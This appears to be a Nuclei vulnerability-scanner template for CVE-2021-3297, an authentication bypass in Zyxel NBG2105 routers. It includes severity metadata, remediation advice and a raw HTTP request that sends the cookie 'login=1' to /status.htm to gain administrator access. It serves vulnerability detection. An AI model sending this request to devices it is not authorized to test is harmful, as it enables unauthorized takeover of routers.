Zyxel NBG2105 V1.00(AAGU.2)C0 - Authentication Bypass

id: CVE-2021-3297

info:
  name: Zyxel NBG2105 V1.00(AAGU.2)C0 - Authentication Bypass
  author: gy741
  severity: high
  description: Zyxel NBG2105 V1.00(AAGU.2)C0 devices are susceptible to authentication bypass vulnerabilities because setting the login cookie to 1 provides administrator access.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, unauthorized configuration changes, and potential compromise of the affected device.
  remediation: |
    Apply the latest firmware update provided by Zyxel to fix the authentication bypass vulnerability.
  reference:
    - https://github.com/nieldk/vulnerabilities/blob/main/zyxel%20nbg2105/Admin%20bypass
    - https://www.zyxel.com/us/en/support/security_advisories.shtml
    - https://www.zyxel.com/support/SupportLandingSR.shtml?c=gb&l=en&kbid=M-01490&md=NBG2105
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3297
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.8
    cve-id: CVE-2021-3297
    cwe-id: CWE-287
    epss-score: 0.20514
    epss-percentile: 0.97201
    cpe: cpe:2.3:o:zyxel:nbg2105_firmware:v1.00\(aagu.2\)c0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zyxel
    product: nbg2105_firmware
  tags: cve,cve2021,zyxel,auth-bypass,router,vkev,vuln

http:
  - raw:
      - |
        GET /status.htm HTTP/1.1
        Host: {{Hostname}}
        Cookie: language=en; login=1

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Running Time"
          - "Firmware Version"
          - "Firmware Build Time"
        condition: and

      - type: status
        status:
          - 200
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